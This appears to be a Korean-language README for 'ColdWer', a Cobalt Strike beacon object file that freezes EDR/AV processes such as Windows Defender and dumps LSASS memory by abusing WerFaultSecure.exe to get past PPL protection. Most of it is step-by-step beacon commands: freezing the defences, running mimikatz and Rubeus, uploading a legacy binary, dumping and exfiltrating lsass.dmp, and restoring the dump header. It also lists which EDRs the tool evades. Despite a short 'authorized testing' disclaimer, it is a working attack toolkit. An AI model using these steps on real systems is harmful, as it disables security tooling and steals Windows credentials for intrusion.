
EDR/AV 프로세스를 정지시키고 WerFaultSecure.exe PPL 우회를 사용하여 LSASS를 덤프하는 Cobalt Strike BOF
엔드포인트에서의 냉전
ColdWer는 WerFaultSecure.exe PPL 우회를 활용하여 최신 Windows 시스템에서 EDR/AV 프로세스를 정지시키고 LSASS 메모리를 덤프합니다.
C O L D W E R
└─┴─┴── WerFaultSecure
└─┴──────── LSASS Dump
└─┴──────────── Cold (Freeze)
EDR/AV를 정지시키고 필요한 것을 추출하세요. 차갑게 유지하세요.
Sh3llf1r3 (@0xsh3llf1r3)
이 프로젝트는 TwoSevenOneT (@TwoSevenOneT)의 연구를 기반으로 합니다.
| Project | Description |
|---|---|
| EDR-Freeze | 원본 EDR 정지 기술 |
| WSASS | WerFaultSecure를 통한 LSASS 덤프 |
기반 기술에 대한 모든 공로는 TwoSevenOneT에게 있습니다.
git clone https://github.com/0xsh3llf1r3/ColdWer.git
cw/coldwer.cna를 선택합니다.# 소스 디렉토리로 이동
cd src/
# BOF 컴파일 (MinGW 필요)
make
# 또는 수동:
x86_64-w64-mingw32-gcc -c coldwer.c -o ../cw/coldwer.o
coldwer.o와 coldwer.cna를 다운로드합니다.coldwer.cna를 로드합니다.# Windows Defender PID 찾기
beacon> ps
# 프로세스 정지
beacon> cw-freeze 1337
# EDR/AV가 정지된 상태에서 명령 실행
beacon> mimikatz sekurlsa::logonpasswords
beacon> execute-assembly /tools/Rubeus.exe triage
# 완료 후 해제
beacon> cw-unfreeze
# 1단계: Win8.1 WerFaultSecure.exe 업로드
beacon> cd C:\Windows\Temp
beacon> upload /path/to/bin/wfs.exe
# 2단계: LSASS PID 찾기
beacon> ps
# 3단계: LSASS 덤프
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# 4단계: 덤프 다운로드
beacon> download C:\Windows\Temp\lsass.dmp
파일 헤더를 변경하여 미니덤프 형식으로 복원합니다:
| Original (PNG) | Change to (MDMP) |
|---|---|
89 50 4E 47 | 4D 44 4D 50 |
헤더 복원 명령:
| Method | Command |
|---|---|
| Python | open('lsass.dmp','r+b').write(b'MDMP') |
| Bash | printf '\x4d\x44\x4d\x50' | dd of=lsass.dmp bs=1 count=4 conv=notrunc |
| PowerShell | $f=[IO.File]::Open("lsass.dmp","Open","Write");$f.Write([byte[]](0x4D,0x44,0x4D,0x50),0,4);$f.Close() |
그런 다음 Mimikatz로 파싱합니다:
mimikatz# sekurlsa::minidump lsass.dmp
mimikatz# sekurlsa::logonpasswords
| Command | Description |
|---|---|
cw-freeze <PID> [Path] | 프로세스 정지 |
cw-unfreeze | 이전에 정지된 프로세스 해제 |
cw-dump <PID> <Path> | LSASS 메모리 덤프 |
# 기본 경로로 정지
beacon> cw-freeze 1337
# 사용자 정의 WerFaultSecure.exe 사용
beacon> cw-freeze 1337 C:\Windows\Temp\wfs.exe
# LSASS 덤프
beacon> cw-dump 314 C:\Windows\Temp\wfs.exe
# 완료 후 해제
beacon> cw-unfreeze
| Target | Status |
|---|---|
| Windows Defender (MsMpEng.exe) | ✅ 작동 |
| LSASS (lsass.exe) | ✅ 작동 |
| 기타 PPL 프로세스 | ✅ 작동 |
커널 모드 자체 보호 기능이 있는 EDR에는 작동하지 않습니다:
| EDR | Status |
|---|---|
| Elastic Endpoint | ❌ 차단됨 |
| CrowdStrike Falcon | ❌ 차단됨 |
| SentinelOne | ❌ 차단됨 |
| Carbon Black | ❌ 차단됨 |
1. 🚀 WerFaultSecure.exe를 PPL(WinTcb 수준)로 실행합니다.
↓
2. 🎯 WerFaultSecure가 대상 프로세스에 연결됩니다.
↓
3. ⏸️ MiniDumpWriteDump가 대상 스레드를 모두 일시 중단합니다.
↓
4. 🥶 WerFaultSecure 자체를 일시 중단 → 대상이 정지 상태 유지
↓
5. ✅ 명령 실행 (EDR/AV가 볼 수 없음!)
↓
6. 🔥 WerFaultSecure 종료 → 대상 해제
| Version | Output |
|---|---|
| Windows 10/11 | 암호화된 덤프만 가능 |
| Windows 8.1 | 원시 암호화되지 않은 덤프 |
⚠️ 승인된 보안 테스트 전용
이 도구는 다음 용도로 사용됩니다:
- 승인된 침투 테스트
- 서면 허가를 받은 레드팀 운영
- 통제된 환경에서의 보안 연구
저자는 이 도구의 오용이나 손해에 대해 책임을 지지 않습니다.
컴퓨터 시스템에 대한 무단 접근은 불법입니다.
MIT 라이선스 - LICENSE 참조
🥶 차갑게 유지하세요. 조용히 유지하세요. 🥶
⭐ 이 리포지토리가 유용하다면 스타를 눌러주세요! ⭐
| Feature | Description |
|---|
| ❄️ Freeze | EDR/AV 프로세스를 혼수 상태에 빠뜨립니다. |
| 🔓 Dump | PPL을 우회하여 LSASS 메모리를 추출합니다. |
| 🛡️ PPL Bypass | WinTcb 수준에서 WerFaultSecure.exe를 활용합니다. |
| ⚡ Fast | 인라인 BOF 실행 |
| 🎯 Manual Control | 정지 및 해제 시점을 직접 결정합니다. |
| Error | Cause | Solution |
|---|
| 파일을 찾을 수 없음 | 잘못된 경로 | WerFaultSecure.exe 경로 확인 |
| 액세스 거부 | 낮은 권한 | Administrator/SYSTEM으로 실행 |
| 잘못된 서명 | 서명되지 않은 바이너리 | 올바르게 서명된 WerFaultSecure.exe 사용 |
| 프로세스가 존재하지 않음 | 잘못된 PID | ps 명령으로 PID 확인 |
| 대상 보호됨 | 커널 보호 | EDR에 자체 보호 기능 있음 (우회 불가) |
| 이미 정지됨 | 상태 고정 | 먼저 cw-unfreeze 실행 |